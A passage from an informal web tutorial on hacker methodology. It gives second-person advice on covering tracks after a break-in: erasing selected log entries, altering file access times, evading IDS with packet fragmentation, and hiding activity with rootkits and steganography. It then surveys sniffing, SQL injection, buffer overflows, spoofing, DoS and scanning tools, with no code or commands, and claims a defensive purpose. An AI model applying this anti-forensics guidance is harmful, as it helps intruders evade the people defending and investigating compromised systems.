exploits, erase tracks, install trojans that make you access backdoor, enable null sessions (webmaster usually go to the registry & disable null sessions to keep that vulnerability from being exploited, webmasters usually do it once and do not get back to it. You can go there & enable it - NOTE: by enabling null sessions you can give other hackers a chance to hack too), and many more.<br /><br />There different ways of system compromise, system compromise usually depends on your goal, examples of system compromising are root access(ultimate goal), data access/theft, DoS, and many more. Keep in mind, compromised systems can be detected after a while.<br /><br />Now after a hacker breaks into the system, he tries to protect what he has hacked & erase his tracks. During the attack process try not to be detected so the webmaster don't shut the server off, as well as do not forget to erase your tracks, e.g. you don't want the webmaster to see lots of failed logon in the log files, so you erase tracks to prevent future detection. Typically, get in the network as a shadow or ghost.<br /><br />There are many method to evade those IDS so they don't cut off your attack stream. Common methods for evading defenses might be by fragmenting packets(some programs do that e.g. fragroute), port redirects, encoders(change the flow, the look, and feel of various traffics to pass firewall). After you get in and deceive defenses, you want to go to the log files and erase your tracks. Remember: sometimes you get in a user account then you get into a root by changing permissions of the user account, so you have to remember to set this user permissions back to as it was, things like that - you know what i mean, put yourself in a hackers shoe. Don't delete the whole log files, this can make the security person more suspicious. We want to leave everything as it was so nobody can get a feel that an intruder was here.<br /><br />To be safe, you should know where your actions are recorded, delete log files and other evidences that can get you caught, steganography (Google it), and evading IDS & firewalls. All actions are recorded in some place on the system or the network. Assume IDS detects you, what do security persons do? Usually when you get detected, they may cut off all the ways for you so you don't get a chance to penetrate, they probably going track you down, or they may decide let you go but watch you the entire time.<br /><br />Where are your actions recorded and what things can let security person knows that you hacked his system? they are recorded in log files for various applications(e.g. IIS & Apache log files), file access times(note: there are tools for hackers that allow you to modify file access time), windows registry entries, hacker tools left behind (be aware of the residual configuration you have left behind - make sure you set all the configurations back to as it was), OS performance stats, IDS, proxy servers(make sure how you send and receive data. If you are going to use proxy server, set up a permanent tunnel through the proxy to the remote host that is compromised), and firewalls(usually very rich with logs).<br /><br />There are various types of IDS, IDS can set anywhere in the network. There are network based IDS, host based IDS, and application based IDS.<br /><br />Deleting evidences of your hack is extremely difficult, it requires you have a very high knowledge of the system you are trying to compromise(all the prior steps we did, such as scanning, foot printing, etc will be handy to compromise the system). It is easy to cover the known log files, such as web logs, firewall, IDS logs, etc. However, it is important to know how the default logs work. Highly skilled hackers, study the target well & take the time in fingerprinting & footprinting everything properly. It may take him up to one week before he hacks the target, but when he penetrates his job is done more smoothly & quietly. Unlike, the other ones who are just using some tools to break the system as fast as possible without studying the target well.<br /><br />It is possible to delete log files! It is simple but usually requires admin access. Some files/logs may be deleted automatically with reboot. Don't delete log files, it brings up suspicion. If you do so, the security person can indicates very clearly that a hacker broke into the system.<br /><br />Most common way of hiding your tracks is by using a rootkit. Rootkit is set of tools used by an attacker after the attacker gets the root-access to system. Rootkits conceals(to keep from being observed) attacker activities on the hacked system. Once rootkit set on the system, its practically impossible to rid of it because rootkit uses technology, called "hooks", that usually most of the time embed itself into various components of OS & effectively the OS going to be a toaster when the rootkit is all set and done. Security person has to rebuild his machine when rootkit is detected after we properly investigate it.<br /><br />Steganography its about hiding a file into another file. Like hiding a malware into a normal software which makes it difficult for firewall or AV to detect the malware. That's the basic concept of Steganography. There are alot of tools out there allow us to hide files inside another files.<br /><br />You can evade IDS & firewalls by using random slow stealth scanning technique so traffic goes unnoticed, this takes longer to scan but makes detection more difficult. Try to use non-standard techniques, think outside the box.<br /><br />Remember: not everyone out there is a security expert. To secure your system well, you need to put yourself in a hacker set of mind.<br /><br />By now, you have learned the basic methodology that hackers use to break into the system. Anyhow, lets take a closer look on hacking techniques, such as encryption, sql injection, sniffers, and many more.<br /><br />Encryption: files can be encrypted in a storage. Communication channels can be encrypted as well, communication channel encryption encrypts the entire communication path, so all traffics sent and received are encrypted, e.g. SSL technology encrypts the entire communication path. There are many ways hackers get away of encrypted traffic & get info in not encrypted form. If you are using your own encryption method, you always should test your encryption for crackability before you use it officially.<br /><br />Sniffers: sniffers is a common tool used by hackers. Sniffers listens on any traffic that goes through the wire of the target system, listens ins and outs traffics. Promiscuous mode is a mode that is listening for any traffic that goes through the wire. Standard promiscuous mode sniffer is a basic technique. There are more advanced techniques other than promiscuous mode. Sniffing enables the attacker to pick up a plain text, and other sensitive data that goes 'from' or 'to' the target. Sniffers record captured traffic, then after you sniff you can go offline & start analyzing that captured traffic. Popular sniffers are ethereal, etherape, ettercap, and network monitor(for Win OS only - not so effective).<br /><br />Wireless Hacking: this is a new technology & starts taking place nowadays. Easy to setup, but not frequently secured since not many people understand the security configuration, so they decide not to set it up or set it up poorly. There are various tools that detect wireless networks, popular war driving software are Netstumbler, Airsnort, Airopeek, Kismet, and many more. What is war driving? Google it!<br /><br />SQL Injection: sql injection is a technique that allows an attacker to steal a valuable database information. This attack relies on poor data validation and poor error checking.<br /><br />Buffer Overflows: buffer overflow is common, the cause of buffer overflow is poor coding. Buffer overflows might be noticed while coding. Buffer overflow happens when the programmer does not clearly define boundaries on buffers or variables. We use out of bound data to insert malicious code or execute command on the remote host. Buffer Overflows can cause programs to freeze or lockup, can cause machine to crash, or let you use exploits & leads you to compromise the system. To build buffer overflows, you need a good programming skills, good knowledge of stack and buffer vulnerabilities.<br /><br />You need to have the ability to research, analyze vulnerabilities & apply the exploit to achieve what you want. Buffer overflow is a very common & hard to produce an application with no buffer overflows at all. There is nothing programmers can do about it, they just need to write the code with security mind of set. If unexpected buffer overflow appears later by chance, programmers will have to fix it. Programmers should test their code from vulnerabilities as much as they can before they publish the application.<br /><br />Rootkits: it is a common hacker technique. Rootkit is malicious program that replaces components of OS. It does a stealth job. Rootkit requires root permission, so you can install it. Linux rootkits are common & you can find them everywhere, unlike Windows. It is very hard to detect a rootkit because it embeds itself so deeply into the target system. Removing rootkit from a system is very hard too, if the security person tries to remove the rootkit out of the system, he will destroy the system since the rootkit is embedded so deeply into the system(into components of OS). The good solution is to format the whole system & install it again.<br /><br />Spoofing: the word spoofing defined as making yourself appear as somebody else. Examples of spoofing, you can spoof an IP address and make yourself appear to be somewhere else, MAC addresses, and emails(very simple to spoof, you send an email to somebody by changing the headers, and things like that). Spoof usually relies on poor implementation of TCP/IP itself or poor implementation of applications. Tools that are used for spoofing differs from one platform to another. Example of the tools, IP spoofing utilities, MAC address modifiers, etc. Spoofing is more into using your skills rather than using a tool.<br /><br />Denial of Service (DoS): DoS is very common. The ultimate idea is to prevent legitimate users from using the system. Running DoS is very simple, you don't gain anything from doing DoS. Hackers do it to threat companies, things like that. Many methods/level of DoS attacks exist. Examples of some ways of to DoS, ping of death, Windows size overflow, smurf, teardrop attacks, and many more. There are lots of different ways to do it!<br /><br />Web Hacking: web hacking is the most popular attacks. It is based on hacking individual sites, servers, or components based on the website. First step a hacker takes is, enumerate services(applications) on target machine, and then determine what webserver software(apache, IIS, etc) is running on the target system. After that, the hacker exploits against vulns. found in the target system. It will be easier to hack if the hacker knows the version of the service/software running.<br /><br />A webserver attack leads to deeper penetration on the network(move into the target's internal network). Popular attack methods are xxs(cross-site scripting), IIS DLL vulnerabilities(IIS is very commonly exploited), directory traversal, unicode attack, and many more.<br /><br />What is Unicode attack?<br /><br />here is quick rough description about Unicode attack, lets say you want to pass space into a URL. If you put a space in URL, webserver will not take your URL, webserver will consider the url is invalid. Thus, if you want to put spaces among the URL, you should put the number 20 in a place of the space(number 20 represents the space), so when the URL goes to the webserver, the webserver says Ok! thats a valid URL, lets process it and so it does. Unicode attack uses this technique in a non-standard(bad way) way to attack the webserver. Thats a quick explaination about unicode attack.<br /><br />I'm already about to finish this tutorial, i will just talk about popular tools in a brief manner. I will start with nmap.<br /><br />Nmap is the most popular hacker tool out there. Linux command line nmap works better and is supported better. Nmap comes with ping utility, port scanning utility, service enumeration & OS fingerprinting.<br /><br />SuperScan is a windows based tool developed by foundstone Inc. Its easy to use it & a good tool for Windows.<br /><br />Nessus is used for vulnerability assessment. It is an open source software kit, with commercial version available as well. Nessus uses client/server architecture. Server will be installed on a central location. Nessus comes in GUI & command line interface. Nessus uses database that carries latest current exploits for all types of OS & application. Databases in nessus are called plug-ins, hundreds of vulnerability plug-ins exist and are updated daily to include latest exploits. Nessus requires high level of knowledge to use the tool very efficiently. You can go out to the web and download an exploit and then add it to the database. Nessus can take quite long time to do vulnerability assessment.<br /><br />Finally, the information in this tutorial have been gathered from various types of sources, and then i wrote the tutorial in an organized manner from scratch as well as i added some stuff & clarified many parts.<br /><br />After you have read this tutorial, i recommend you to search and learn about Windows Null Sessions, it is the most critical flaws associated with Windows OS, and google about DNS zone transfers!<br /><br />This tutorial is a good guide for you that gives you an insight on how to start & different techniques that hackers use and how they are used. I hope you have enjoyed this tutorial & helped you in someway or another. I'm not supporting any illegal activities. This tutorial for people who wants to know how hackers think, what steps they take to break into systems & how they do it, so people can have an insight on how to protect themselves against intruders.</div>

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